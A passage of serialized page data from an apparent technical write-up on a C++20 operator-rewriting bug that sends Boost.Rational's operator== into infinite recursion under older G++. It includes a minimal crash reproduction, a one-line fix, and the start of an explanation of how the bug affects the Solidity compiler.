Arg& b, const rational\u003CIntType>& a)\n{\n return a == b; \n}\n",[92950],{"type":24,"tag":32,"props":92951,"children":92952},{"__ignoreMap":7},[92953,92988,93011,93023,93030,93037,93044,93051,93058,93081,93169,93176,93227,93234,93241,93248,93255,93290,93298,93326,93365,93430,93437,93457],{"type":24,"tag":90,"props":92954,"children":92955},{"class":92,"line":93},[92956,92960,92964,92968,92972,92976,92980,92984],{"type":24,"tag":90,"props":92957,"children":92958},{"style":97},[92959],{"type":29,"value":68043},{"type":24,"tag":90,"props":92961,"children":92962},{"style":114},[92963],{"type":29,"value":11095},{"type":24,"tag":90,"props":92965,"children":92966},{"style":97},[92967],{"type":29,"value":72238},{"type":24,"tag":90,"props":92969,"children":92970},{"style":146},[92971],{"type":29,"value":92459},{"type":24,"tag":90,"props":92973,"children":92974},{"style":114},[92975],{"type":29,"value":133},{"type":24,"tag":90,"props":92977,"children":92978},{"style":97},[92979],{"type":29,"value":72238},{"type":24,"tag":90,"props":92981,"children":92982},{"style":146},[92983],{"type":29,"value":92278},{"type":24,"tag":90,"props":92985,"children":92986},{"style":114},[92987],{"type":29,"value":8377},{"type":24,"tag":90,"props":92989,"children":92990},{"class":92,"line":200},[92991,92995,92999,93003,93007],{"type":24,"tag":90,"props":92992,"children":92993},{"style":97},[92994],{"type":29,"value":68043},{"type":24,"tag":90,"props":92996,"children":92997},{"style":114},[92998],{"type":29,"value":11095},{"type":24,"tag":90,"props":93000,"children":93001},{"style":97},[93002],{"type":29,"value":92273},{"type":24,"tag":90,"props":93004,"children":93005},{"style":146},[93006],{"type":29,"value":92278},{"type":24,"tag":90,"props":93008,"children":93009},{"style":114},[93010],{"type":29,"value":8377},{"type":24,"tag":90,"props":93012,"children":93013},{"class":92,"line":239},[93014,93018],{"type":24,"tag":90,"props":93015,"children":93016},{"style":97},[93017],{"type":29,"value":72238},{"type":24,"tag":90,"props":93019,"children":93020},{"style":146},[93021],{"type":29,"value":93022}," rational\n",{"type":24,"tag":90,"props":93024,"children":93025},{"class":92,"line":248},[93026],{"type":24,"tag":90,"props":93027,"children":93028},{"style":114},[93029],{"type":29,"value":2221},{"type":24,"tag":90,"props":93031,"children":93032},{"class":92,"line":258},[93033],{"type":24,"tag":90,"props":93034,"children":93035},{"style":114},[93036],{"type":29,"value":22135},{"type":24,"tag":90,"props":93038,"children":93039},{"class":92,"line":272},[93040],{"type":24,"tag":90,"props":93041,"children":93042},{"style":97},[93043],{"type":29,"value":92306},{"type":24,"tag":90,"props":93045,"children":93046},{"class":92,"line":281},[93047],{"type":24,"tag":90,"props":93048,"children":93049},{"style":114},[93050],{"type":29,"value":22135},{"type":24,"tag":90,"props":93052,"children":93053},{"class":92,"line":384},[93054],{"type":24,"tag":90,"props":93055,"children":93056},{"style":114},[93057],{"type":29,"value":63612},{"type":24,"tag":90,"props":93059,"children":93060},{"class":92,"line":420},[93061,93065,93069,93073,93077],{"type":24,"tag":90,"props":93062,"children":93063},{"style":97},[93064],{"type":29,"value":92314},{"type":24,"tag":90,"props":93066,"children":93067},{"style":114},[93068],{"type":29,"value":11095},{"type":24,"tag":90,"props":93070,"children":93071},{"style":97},[93072],{"type":29,"value":72238},{"type":24,"tag":90,"props":93074,"children":93075},{"style":146},[93076],{"type":29,"value":8304},{"type":24,"tag":90,"props":93078,"children":93079},{"style":114},[93080],{"type":29,"value":8377},{"type":24,"tag":90,"props":93082,"children":93083},{"class":92,"line":428},[93084,93089,93093,93098,93102,93106,93110,93115,93119,93123,93127,93131,93135,93139,93144,93148,93152,93156,93160,93164],{"type":24,"tag":90,"props":93085,"children":93086},{"style":114},[93087],{"type":29,"value":93088}," BOOST_CONSTEXPR ",{"type":24,"tag":90,"props":93090,"children":93091},{"style":97},[93092],{"type":29,"value":92273},{"type":24,"tag":90,"props":93094,"children":93095},{"style":114},[93096],{"type":29,"value":93097}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":24,"tag":90,"props":93099,"children":93100},{"style":146},[93101],{"type":29,"value":1960},{"type":24,"tag":90,"props":93103,"children":93104},{"style":114},[93105],{"type":29,"value":133},{"type":24,"tag":90,"props":93107,"children":93108},{"style":146},[93109],{"type":29,"value":92507},{"type":24,"tag":90,"props":93111,"children":93112},{"style":114},[93113],{"type":29,"value":93114},">::",{"type":24,"tag":90,"props":93116,"children":93117},{"style":146},[93118],{"type":29,"value":40968},{"type":24,"tag":90,"props":93120,"children":93121},{"style":114},[93122],{"type":29,"value":133},{"type":24,"tag":90,"props":93124,"children":93125},{"style":97},[93126],{"type":29,"value":31497},{"type":24,"tag":90,"props":93128,"children":93129},{"style":114},[93130],{"type":29,"value":93114},{"type":24,"tag":90,"props":93132,"children":93133},{"style":146},[93134],{"type":29,"value":34570},{"type":24,"tag":90,"props":93136,"children":93137},{"style":97},[93138],{"type":29,"value":92342},{"type":24,"tag":90,"props":93140,"children":93141},{"style":114},[93142],{"type":29,"value":93143},"== (",{"type":24,"tag":90,"props":93145,"children":93146},{"style":97},[93147],{"type":29,"value":508},{"type":24,"tag":90,"props":93149,"children":93150},{"style":146},[93151],{"type":29,"value":8304},{"type":24,"tag":90,"props":93153,"children":93154},{"style":97},[93155],{"type":29,"value":123},{"type":24,"tag":90,"props":93157,"children":93158},{"style":136},[93159],{"type":29,"value":5790},{"type":24,"tag":90,"props":93161,"children":93162},{"style":114},[93163],{"type":29,"value":172},{"type":24,"tag":90,"props":93165,"children":93166},{"style":97},[93167],{"type":29,"value":93168},"const\n",{"type":24,"tag":90,"props":93170,"children":93171},{"class":92,"line":437},[93172],{"type":24,"tag":90,"props":93173,"children":93174},{"style":114},[93175],{"type":29,"value":30998},{"type":24,"tag":90,"props":93177,"children":93178},{"class":92,"line":574},[93179,93184,93189,93193,93197,93201,93205,93209,93213,93218,93222],{"type":24,"tag":90,"props":93180,"children":93181},{"style":636},[93182],{"type":29,"value":93183}," return",{"type":24,"tag":90,"props":93185,"children":93186},{"style":114},[93187],{"type":29,"value":93188}," ((den ",{"type":24,"tag":90,"props":93190,"children":93191},{"style":120},[93192],{"type":29,"value":10951},{"type":24,"tag":90,"props":93194,"children":93195},{"style":108},[93196],{"type":29,"value":92278},{"type":24,"tag":90,"props":93198,"children":93199},{"style":114},[93200],{"type":29,"value":117},{"type":24,"tag":90,"props":93202,"children":93203},{"style":349},[93204],{"type":29,"value":534},{"type":24,"tag":90,"props":93206,"children":93207},{"style":114},[93208],{"type":29,"value":11211},{"type":24,"tag":90,"props":93210,"children":93211},{"style":120},[93212],{"type":29,"value":75025},{"type":24,"tag":90,"props":93214,"children":93215},{"style":114},[93216],{"type":29,"value":93217}," (num ",{"type":24,"tag":90,"props":93219,"children":93220},{"style":120},[93221],{"type":29,"value":10951},{"type":24,"tag":90,"props":93223,"children":93224},{"style":114},[93225],{"type":29,"value":93226}," i));\n",{"type":24,"tag":90,"props":93228,"children":93229},{"class":92,"line":606},[93230],{"type":24,"tag":90,"props":93231,"children":93232},{"style":114},[93233],{"type":29,"value":612},{"type":24,"tag":90,"props":93235,"children":93236},{"class":92,"line":615},[93237],{"type":24,"tag":90,"props":93238,"children":93239},{"style":114},[93240],{"type":29,"value":22135},{"type":24,"tag":90,"props":93242,"children":93243},{"class":92,"line":623},[93244],{"type":24,"tag":90,"props":93245,"children":93246},{"style":114},[93247],{"type":29,"value":827},{"type":24,"tag":90,"props":93249,"children":93250},{"class":92,"line":632},[93251],{"type":24,"tag":90,"props":93252,"children":93253},{"emptyLinePlaceholder":16},[93254],{"type":29,"value":245},{"type":24,"tag":90,"props":93256,"children":93257},{"class":92,"line":669},[93258,93262,93266,93270,93274,93278,93282,93286],{"type":24,"tag":90,"props":93259,"children":93260},{"style":97},[93261],{"type":29,"value":68043},{"type":24,"tag":90,"props":93263,"children":93264},{"style":114},[93265],{"type":29,"value":11095},{"type":24,"tag":90,"props":93267,"children":93268},{"style":97},[93269],{"type":29,"value":72238},{"type":24,"tag":90,"props":93271,"children":93272},{"style":146},[93273],{"type":29,"value":92459},{"type":24,"tag":90,"props":93275,"children":93276},{"style":114},[93277],{"type":29,"value":133},{"type":24,"tag":90,"props":93279,"children":93280},{"style":97},[93281],{"type":29,"value":72238},{"type":24,"tag":90,"props":93283,"children":93284},{"style":146},[93285],{"type":29,"value":92278},{"type":24,"tag":90,"props":93287,"children":93288},{"style":114},[93289],{"type":29,"value":8377},{"type":24,"tag":90,"props":93291,"children":93292},{"class":92,"line":683},[93293],{"type":24,"tag":90,"props":93294,"children":93295},{"style":114},[93296],{"type":29,"value":93297},"BOOST_CONSTEXPR\n",{"type":24,"tag":90,"props":93299,"children":93300},{"class":92,"line":737},[93301,93306,93311,93316,93321],{"type":24,"tag":90,"props":93302,"children":93303},{"style":97},[93304],{"type":29,"value":93305},"inline",{"type":24,"tag":90,"props":93307,"children":93308},{"style":97},[93309],{"type":29,"value":93310}," typename",{"type":24,"tag":90,"props":93312,"children":93313},{"style":114},[93314],{"type":29,"value":93315}," boost::",{"type":24,"tag":90,"props":93317,"children":93318},{"style":146},[93319],{"type":29,"value":93320},"enable_if_c",{"type":24,"tag":90,"props":93322,"children":93323},{"style":120},[93324],{"type":29,"value":93325}," \u003C\n",{"type":24,"tag":90,"props":93327,"children":93328},{"class":92,"line":751},[93329,93334,93339,93343,93347,93352,93356,93360],{"type":24,"tag":90,"props":93330,"children":93331},{"style":114},[93332],{"type":29,"value":93333}," rational_detail::is_compatible_integer\u003C",{"type":24,"tag":90,"props":93335,"children":93336},{"style":146},[93337],{"type":29,"value":93338},"Arg",{"type":24,"tag":90,"props":93340,"children":93341},{"style":114},[93342],{"type":29,"value":133},{"type":24,"tag":90,"props":93344,"children":93345},{"style":146},[93346],{"type":29,"value":92507},{"type":24,"tag":90,"props":93348,"children":93349},{"style":114},[93350],{"type":29,"value":93351},">::value, ",{"type":24,"tag":90,"props":93353,"children":93354},{"style":97},[93355],{"type":29,"value":31497},{"type":24,"tag":90,"props":93357,"children":93358},{"style":120},[93359],{"type":29,"value":12830},{"type":24,"tag":90,"props":93361,"children":93362},{"style":114},[93363],{"type":29,"value":93364},"::type\n",{"type":24,"tag":90,"props":93366,"children":93367},{"class":92,"line":782},[93368,93373,93378,93382,93386,93390,93394,93398,93402,93406,93410,93414,93418,93422,93426],{"type":24,"tag":90,"props":93369,"children":93370},{"style":97},[93371],{"type":29,"value":93372}," operator",{"type":24,"tag":90,"props":93374,"children":93375},{"style":114},[93376],{"type":29,"value":93377}," == (",{"type":24,"tag":90,"props":93379,"children":93380},{"style":97},[93381],{"type":29,"value":508},{"type":24,"tag":90,"props":93383,"children":93384},{"style":146},[93385],{"type":29,"value":92459},{"type":24,"tag":90,"props":93387,"children":93388},{"style":97},[93389],{"type":29,"value":123},{"type":24,"tag":90,"props":93391,"children":93392},{"style":136},[93393],{"type":29,"value":92540},{"type":24,"tag":90,"props":93395,"children":93396},{"style":114},[93397],{"type":29,"value":133},{"type":24,"tag":90,"props":93399,"children":93400},{"style":97},[93401],{"type":29,"value":508},{"type":24,"tag":90,"props":93403,"children":93404},{"style":146},[93405],{"type":29,"value":92294},{"type":24,"tag":90,"props":93407,"children":93408},{"style":114},[93409],{"type":29,"value":1575},{"type":24,"tag":90,"props":93411,"children":93412},{"style":146},[93413],{"type":29,"value":92507},{"type":24,"tag":90,"props":93415,"children":93416},{"style":114},[93417],{"type":29,"value":12830},{"type":24,"tag":90,"props":93419,"children":93420},{"style":97},[93421],{"type":29,"value":123},{"type":24,"tag":90,"props":93423,"children":93424},{"style":136},[93425],{"type":29,"value":91666},{"type":24,"tag":90,"props":93427,"children":93428},{"style":114},[93429],{"type":29,"value":1686},{"type":24,"tag":90,"props":93431,"children":93432},{"class":92,"line":791},[93433],{"type":24,"tag":90,"props":93434,"children":93435},{"style":114},[93436],{"type":29,"value":2221},{"type":24,"tag":90,"props":93438,"children":93439},{"class":92,"line":799},[93440,93444,93448,93452],{"type":24,"tag":90,"props":93441,"children":93442},{"style":636},[93443],{"type":29,"value":41173},{"type":24,"tag":90,"props":93445,"children":93446},{"style":114},[93447],{"type":29,"value":3285},{"type":24,"tag":90,"props":93449,"children":93450},{"style":120},[93451],{"type":29,"value":10951},{"type":24,"tag":90,"props":93453,"children":93454},{"style":114},[93455],{"type":29,"value":93456}," b; \n",{"type":24,"tag":90,"props":93458,"children":93459},{"class":92,"line":807},[93460],{"type":24,"tag":90,"props":93461,"children":93462},{"style":114},[93463],{"type":29,"value":827},{"type":24,"tag":25,"props":93465,"children":93466},{},[93467,93469,93475],{"type":29,"value":93468},"This was designed under C++17 semantics. Back then, ",{"type":24,"tag":32,"props":93470,"children":93472},{"className":93471},[],[93473],{"type":29,"value":93474},"rhs == lhs",{"type":29,"value":93476}," would fall back to member overloads if available. All good.",{"type":24,"tag":25,"props":93478,"children":93479},{},[93480,93482,93487,93488,93494],{"type":29,"value":93481},"But under ",{"type":24,"tag":32,"props":93483,"children":93485},{"className":93484},[],[93486],{"type":29,"value":92031},{"type":29,"value":23300},{"type":24,"tag":32,"props":93489,"children":93491},{"className":93490},[],[93492],{"type":29,"value":93493},"G++ \u003C 14",{"type":29,"value":78},{"type":24,"tag":3207,"props":93496,"children":93497},{},[93498,93503,93508,93513],{"type":24,"tag":3104,"props":93499,"children":93500},{},[93501],{"type":29,"value":93502},"G++ incorrectly chooses this non-member operator first",{"type":24,"tag":3104,"props":93504,"children":93505},{},[93506],{"type":29,"value":93507},"C++20 reverses the comparison",{"type":24,"tag":3104,"props":93509,"children":93510},{},[93511],{"type":29,"value":93512},"Which calls the same function again with arguments flipped",{"type":24,"tag":3104,"props":93514,"children":93515},{},[93516],{"type":29,"value":93517},"And so on...",{"type":24,"tag":25,"props":93519,"children":93520},{},[93521,93523,93528],{"type":29,"value":93522},"This creates ",{"type":24,"tag":7711,"props":93524,"children":93525},{},[93526],{"type":29,"value":93527},"infinite recursion",{"type":29,"value":226},{"type":24,"tag":25,"props":93530,"children":93531},{},[93532],{"type":29,"value":93533},"A minimal example:",{"type":24,"tag":80,"props":93535,"children":93537},{"code":93536,"language":30923,"meta":7,"className":30921,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n boost::rational\u003Cint> r;\n return r == 0;\n}\n",[93538],{"type":24,"tag":32,"props":93539,"children":93540},{"__ignoreMap":7},[93541,93549,93561,93568,93583,93607,93630],{"type":24,"tag":90,"props":93542,"children":93543},{"class":92,"line":93},[93544],{"type":24,"tag":90,"props":93545,"children":93546},{"style":252},[93547],{"type":29,"value":93548},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":24,"tag":90,"props":93550,"children":93551},{"class":92,"line":200},[93552,93556],{"type":24,"tag":90,"props":93553,"children":93554},{"style":636},[93555],{"type":29,"value":92245},{"type":24,"tag":90,"props":93557,"children":93558},{"style":1085},[93559],{"type":29,"value":93560}," \u003Cboost/rational.hpp>\n",{"type":24,"tag":90,"props":93562,"children":93563},{"class":92,"line":239},[93564],{"type":24,"tag":90,"props":93565,"children":93566},{"emptyLinePlaceholder":16},[93567],{"type":29,"value":245},{"type":24,"tag":90,"props":93569,"children":93570},{"class":92,"line":248},[93571,93575,93579],{"type":24,"tag":90,"props":93572,"children":93573},{"style":97},[93574],{"type":29,"value":20841},{"type":24,"tag":90,"props":93576,"children":93577},{"style":108},[93578],{"type":29,"value":92610},{"type":24,"tag":90,"props":93580,"children":93581},{"style":114},[93582],{"type":29,"value":2245},{"type":24,"tag":90,"props":93584,"children":93585},{"class":92,"line":258},[93586,93591,93595,93599,93603],{"type":24,"tag":90,"props":93587,"children":93588},{"style":114},[93589],{"type":29,"value":93590}," boost::rational",{"type":24,"tag":90,"props":93592,"children":93593},{"style":120},[93594],{"type":29,"value":1575},{"type":24,"tag":90,"props":93596,"children":93597},{"style":97},[93598],{"type":29,"value":20841},{"type":24,"tag":90,"props":93600,"children":93601},{"style":120},[93602],{"type":29,"value":12830},{"type":24,"tag":90,"props":93604,"children":93605},{"style":114},[93606],{"type":29,"value":92639},{"type":24,"tag":90,"props":93608,"children":93609},{"class":92,"line":272},[93610,93614,93618,93622,93626],{"type":24,"tag":90,"props":93611,"children":93612},{"style":636},[93613],{"type":29,"value":3510},{"type":24,"tag":90,"props":93615,"children":93616},{"style":114},[93617],{"type":29,"value":92651},{"type":24,"tag":90,"props":93619,"children":93620},{"style":120},[93621],{"type":29,"value":10951},{"type":24,"tag":90,"props":93623,"children":93624},{"style":349},[93625],{"type":29,"value":5448},{"type":24,"tag":90,"props":93627,"children":93628},{"style":114},[93629],{"type":29,"value":381},{"type":24,"tag":90,"props":93631,"children":93632},{"class":92,"line":281},[93633],{"type":24,"tag":90,"props":93634,"children":93635},{"style":114},[93636],{"type":29,"value":827},{"type":24,"tag":25,"props":93638,"children":93639},{},[93640],{"type":29,"value":93641},"Expected output: nothing.",{"type":24,"tag":25,"props":93643,"children":93644},{},[93645],{"type":29,"value":93646},"Actual: segmentation fault (stack overflow).",{"type":24,"tag":25,"props":93648,"children":93649},{},[93650,93652,93659],{"type":29,"value":93651},"This exact pattern was ",{"type":24,"tag":69,"props":93653,"children":93656},{"href":93654,"rel":93655},"https://github.com/boostorg/rational/issues/43",[73],[93657],{"type":29,"value":93658},"reported and fixed in Boost rational",{"type":29,"value":93660},", but only in version 1.75+.",{"type":24,"tag":25,"props":93662,"children":93663},{},[93664],{"type":29,"value":93665},"Here’s the one-line fix:",{"type":24,"tag":80,"props":93667,"children":93669},{"code":93668,"language":42179,"meta":7,"className":42177,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n- return a == b;\n+ return a.operator==(b);\n}\n",[93670],{"type":24,"tag":32,"props":93671,"children":93672},{"__ignoreMap":7},[93673,93681,93688,93696,93704,93712,93719,93727,93735],{"type":24,"tag":90,"props":93674,"children":93675},{"class":92,"line":93},[93676],{"type":24,"tag":90,"props":93677,"children":93678},{"style":114},[93679],{"type":29,"value":93680},"template \u003Cclass Arg, class IntType>\n",{"type":24,"tag":90,"props":93682,"children":93683},{"class":92,"line":200},[93684],{"type":24,"tag":90,"props":93685,"children":93686},{"style":114},[93687],{"type":29,"value":93297},{"type":24,"tag":90,"props":93689,"children":93690},{"class":92,"line":239},[93691],{"type":24,"tag":90,"props":93692,"children":93693},{"style":114},[93694],{"type":29,"value":93695},"inline typename boost::enable_if_c \u003C\n",{"type":24,"tag":90,"props":93697,"children":93698},{"class":92,"line":248},[93699],{"type":24,"tag":90,"props":93700,"children":93701},{"style":114},[93702],{"type":29,"value":93703}," rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":24,"tag":90,"props":93705,"children":93706},{"class":92,"line":258},[93707],{"type":24,"tag":90,"props":93708,"children":93709},{"style":114},[93710],{"type":29,"value":93711}," operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":24,"tag":90,"props":93713,"children":93714},{"class":92,"line":272},[93715],{"type":24,"tag":90,"props":93716,"children":93717},{"style":114},[93718],{"type":29,"value":2221},{"type":24,"tag":90,"props":93720,"children":93721},{"class":92,"line":281},[93722],{"type":24,"tag":90,"props":93723,"children":93724},{"style":1085},[93725],{"type":29,"value":93726},"- return a == b;\n",{"type":24,"tag":90,"props":93728,"children":93729},{"class":92,"line":384},[93730],{"type":24,"tag":90,"props":93731,"children":93732},{"style":349},[93733],{"type":29,"value":93734},"+ return a.operator==(b);\n",{"type":24,"tag":90,"props":93736,"children":93737},{"class":92,"line":420},[93738],{"type":24,"tag":90,"props":93739,"children":93740},{"style":114},[93741],{"type":29,"value":827},{"type":24,"tag":25,"props":93743,"children":93744},{},[93745,93747,93752,93754,93759],{"type":29,"value":93746},"Instead of calling ",{"type":24,"tag":32,"props":93748,"children":93750},{"className":93749},[],[93751],{"type":29,"value":92077},{"type":29,"value":93753}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":24,"tag":32,"props":93755,"children":93757},{"className":93756},[],[93758],{"type":29,"value":92085},{"type":29,"value":226},{"type":24,"tag":25,"props":93761,"children":93762},{},[93763],{"type":29,"value":93764},"This prevents C++20 from triggering recursive rewrites.",{"type":24,"tag":20586,"props":93766,"children":93767},{},[],{"type":24,"tag":850,"props":93769,"children":93771},{"id":93770},"part-iv-how-this-breaks-solidity",[93772],{"type":29,"value":93773},"Part IV: How This Breaks Solidity",{"type":24,"tag":25,"props":93775,"children":93776},{},[93777,93779,93784],{"type":29,"value":93778},"The Solidity codebase uses ",{"type":24,"tag":32,"props":93780,"children":93782},{"className":93781},[],[93783],{"type":29,"value":91932},{"type":29,"value":93785}," to represent certain compile-time constant expressions.",{"type":24,"tag":25,"props":93787,"children":93788},{},[93789,93791,93797],{"type":29,"value":93790},"One snippet that can trigger this issue appears in ",{"type":24,"tag":32,"props":93792,"children":93794},{"className":93793},[],[93795],{"type":29,"value":93796},"DeclarationTypeChecker::endVisit",{"type":29,"value":78},{"type":24,"tag":80,"props":93799,"children":93801},{"code":93800,"language":30923,"meta":7,"className":30921,"style":7},"if (Expression const* length = _typeName.length()) {\n std::optional\u003Crational> lengthValue;\n\n if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n ...\n else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n lengthValue = value->value;\n\n if (!lengthValue)\n ...\n else if (*lengthValue == 0) // \u003C-- Infinite recursion happens here\n ...\n}\n",[93802],{"type":24,"tag":32,"props":93803,"children":93804},{"__ignoreMap":7},[93805,93852,93877,93884,93962,93969,94022,94050,94057,94077,94084,94124,94131],{"type":24,"tag":90,"props":93806,"children":93807},{"class":92,"line":93},[93808,93812,93817,93821,93825,93830,93834,93839,93843,93847],{"type":24,"tag":90,"props":93809,"children":93810},{"style":636},[93811],{"type":29,"value":2084},{"type":24,"tag":90,"props":93813,"children":93814},{"style":114},[93815],{"type":29,"value":93816}," (Expression ",{"type":24,"tag":90,"props":93818,"children":93819},{"style":97},[93820],{"type":29,"value":508},{"type":24,"tag":90,"props":93822,"children":93823},{"style":120},[93824],{"type":29,"value":983},{"type":24,"tag":90,"props":93826,"children":93827},{"style":114},[93828],{"type":29,"value":93829}," length ",{"type":24,"tag":90,"props":93831,"children":93832},{"style":120},[93833],{"type":29,"value":5491},{"type":24,"tag":90,"props":93835,"children":93836},{"style":136},[93837],{"type":29,"value":93838}," _typeName",{"type":24,"tag":90,"props":93840,"children":93841},{"style":114},[93842],{"type":29,"value":226},{"type":24,"tag":90,"props":93844,"children":93845},{"style":108},[93846],{"type":29,"value":10879},{"type":24,"tag":90,"props":93848,"children":93849},{"style":114},[93850],{"type":29,"value":93851},"()) {\n",{"type":24,"tag":90,"props":93853,"children":93854},{"class":92,"line":200},[93855,93860,93864,93868,93872],{"type":24,"tag":90,"props":93856,"children":93857},{"style":114},[93858],{"type":29,"value":93859}," std::optional",{"type":24,"tag":90,"props":93861,"children":93862},{"style":120},[93863],{"type":29,"value":1575},{"type":24,"tag":90,"props":93865,"children":93866},{"style":114},[93867],{"type":29,"value":92937},{"type":24,"tag":90,"props":93869,"children":93870},{"style":120},[93871],{"type":29,"value":12830},{"type":24,"tag":90,"props":93873,"children":93874},{"style":114},[93875],{"type":29,"value":93876}," lengthValue;\n",{"type":24,"tag":90,"props":93878,"children":93879},{"class":92,"line":239},[93880],{"type":24,"tag":90,"props":93881,"children":93882},{"emptyLinePlaceholder":16},[93883],{"type":29,"value":245},{"type":24,"tag":90,"props":93885,"children":93886},{"class":92,"line":248},[93887,93891,93895,93899,93903,93907,93911,93915,93919,93924,93928,93932,93936,93940,93944,93949,93953,93957],{"type":24,"tag":90,"props":93888,"children":93889},{"style":636},[93890],{"type":29,"value":639},{"type":24,"tag":90,"props":93892,"children":93893},{"style":114},[93894],{"type":29,"value":1151},{"type":24,"tag":90,"props":93896,"children":93897},{"style":136},[93898],{"type":29,"value":10879},{"type":24,"tag":90,"props":93900,"children":93901},{"style":114},[93902],{"type":29,"value":177},{"type":24,"tag":90,"props":93904,"children":93905},{"style":108},[93906],{"type":29,"value":31975},{"type":24,"tag":90,"props":93908,"children":93909},{"style":114},[93910],{"type":29,"value":31980},{"type":24,"tag":90,"props":93912,"children":93913},{"style":136},[93914],{"type":29,"value":34570},{"type":24,"tag":90,"props":93916,"children":93917},{"style":120},[93918],{"type":29,"value":649},{"type":24,"tag":90,"props":93920,"children":93921},{"style":136},[93922],{"type":29,"value":93923}," length",{"type":24,"tag":90,"props":93925,"children":93926},{"style":114},[93927],{"type":29,"value":177},{"type":24,"tag":90,"props":93929,"children":93930},{"style":108},[93931],{"type":29,"value":31975},{"type":24,"tag":90,"props":93933,"children":93934},{"style":114},[93935],{"type":29,"value":31980},{"type":24,"tag":90,"props":93937,"children":93938},{"style":136},[93939],{"type":29,"value":34570},{"type":24,"tag":90,"props":93941,"children":93942},{"style":114},[93943],{"type":29,"value":177},{"type":24,"tag":90,"props":93945,"children":93946},{"style":108},[93947],{"type":29,"value":93948},"category",{"type":24,"tag":90,"props":93950,"children":93951},{"style":114},[93952],{"type":29,"value":495},{"type":24,"tag":90,"props":93954,"children":93955},{"style":120},[93956],{"type":29,"value":10951},{"type":24,"tag":90,"props":93958,"children":93959},{"style":114},[93960],{"type":29,"value":93961}," Type::Category::RationalNumber)\n",{"type":24,"tag":90,"props":93963,"children":93964},{"class":92,"line":258},[93965],{"type":24,"tag":90,"props":93966,"children":93967},{"style":114},[93968],{"type":29,"value":83672},{"type":24,"tag":90,"props":93970,"children":93971},{"class":92,"line":272},[93972,93977,93981,93986,93990,93995,93999,94004,94008,94013,94017],{"type":24,"tag":90,"props":93973,"children":93974},{"style":636},[93975],{"type":29,"value":93976}," else",{"type":24,"tag":90,"props":93978,"children":93979},{"style":636},[93980],{"type":29,"value":2298},{"type":24,"tag":90,"props":93982,"children":93983},{"style":114},[93984],{"type":29,"value":93985}," (std::optional",{"type":24,"tag":90,"props":93987,"children":93988},{"style":120},[93989],{"type":29,"value":1575},{"type":24,"tag":90,"props":93991,"children":93992},{"style":114},[93993],{"type":29,"value":93994},"ConstantEvaluator::TypedRational",{"type":24,"tag":90,"props":93996,"children":93997},{"style":120},[93998],{"type":29,"value":12830},{"type":24,"tag":90,"props":94000,"children":94001},{"style":114},[94002],{"type":29,"value":94003}," value ",{"type":24,"tag":90,"props":94005,"children":94006},{"style":120},[94007],{"type":29,"value":5491},{"type":24,"tag":90,"props":94009,"children":94010},{"style":114},[94011],{"type":29,"value":94012}," ConstantEvaluator::",{"type":24,"tag":90,"props":94014,"children":94015},{"style":108},[94016],{"type":29,"value":39821},{"type":24,"tag":90,"props":94018,"children":94019},{"style":114},[94020],{"type":29,"value":94021},"(...))\n",{"type":24,"tag":90,"props":94023,"children":94024},{"class":92,"line":281},[94025,94030,94034,94038,94042,94046],{"type":24,"tag":90,"props":94026,"children":94027},{"style":114},[94028],{"type":29,"value":94029}," lengthValue ",{"type":24,"tag":90,"props":94031,"children":94032},{"style":120},[94033],{"type":29,"value":5491},{"type":24,"tag":90,"props":94035,"children":94036},{"style":136},[94037],{"type":29,"value":34324},{"type":24,"tag":90,"props":94039,"children":94040},{"style":114},[94041],{"type":29,"value":177},{"type":24,"tag":90,"props":94043,"children":94044},{"style":136},[94045],{"type":29,"value":40968},{"type":24,"tag":90,"props":94047,"children":94048},{"style":114},[94049],{"type":29,"value":381},{"type":24,"tag":90,"props":94051,"children":94052},{"class":92,"line":384},[94053],{"type":24,"tag":90,"props":94054,"children":94055},{"emptyLinePlaceholder":16},[94056],{"type":29,"value":245},{"type":24,"tag":90,"props":94058,"children":94059},{"class":92,"line":420},[94060,94064,94068,94072],{"type":24,"tag":90,"props":94061,"children":94062},{"style":636},[94063],{"type":29,"value":639},{"type":24,"tag":90,"props":94065,"children":94066},{"style":114},[94067],{"type":29,"value":1151},{"type":24,"tag":90,"props":94069,"children":94070},{"style":120},[94071],{"type":29,"value":22417},{"type":24,"tag":90,"props":94073,"children":94074},{"style":114},[94075],{"type":29,"value":94076},"lengthValue)\n",{"type":24,"tag":90,"props":94078,"children":94079},{"class":92,"line":428},[94080],{"type":24,"tag":90,"props":94081,"children":94082},{"style":114},[94083],{"type":29,"value":83672},{"type":24,"tag":90,"props":94085,"children":94086},{"class":92,"line":437},[94087,94091,94095,94099,94103,94107,94111,94115,94119],{"type":24,"tag":90,"props":94088,"children":94089},{"style":636},[94090],{"type":29,"value":93976},{"type":24,"tag":90,"props":94092,"children":94093},{"style":636},[94094],{"type":29,"value":2298},{"type":24,"tag":90,"props":94096,"children":94097},{"style":114},[94098],{"type":29,"value":1151},{"type":24,"tag":90,"props":94100,"children":94101},{"style":120},[94102],{"type":29,"value":983},{"type":24,"tag":90,"props":94104,"children":94105},{"style":114},[94106],{"type":29,"value":91908},{"type":24,"tag":90,"props":94108,"children":94109},{"style":120},[94110],{"type":29,"value":10951},{"type":24,"tag":90,"props":94112,"children":94113},{"style":349},[94114],{"type":29,"value":5448},{"type":24,"tag":90,"props":94116,"children":94117},{"style":114},[94118],{"type":29,"value":517},{"type":24,"tag":90,"props":94120,"children":94121},{"style":252},[94122],{"type":29,"value":94123}," // \u003C-- Infinite recursion happens 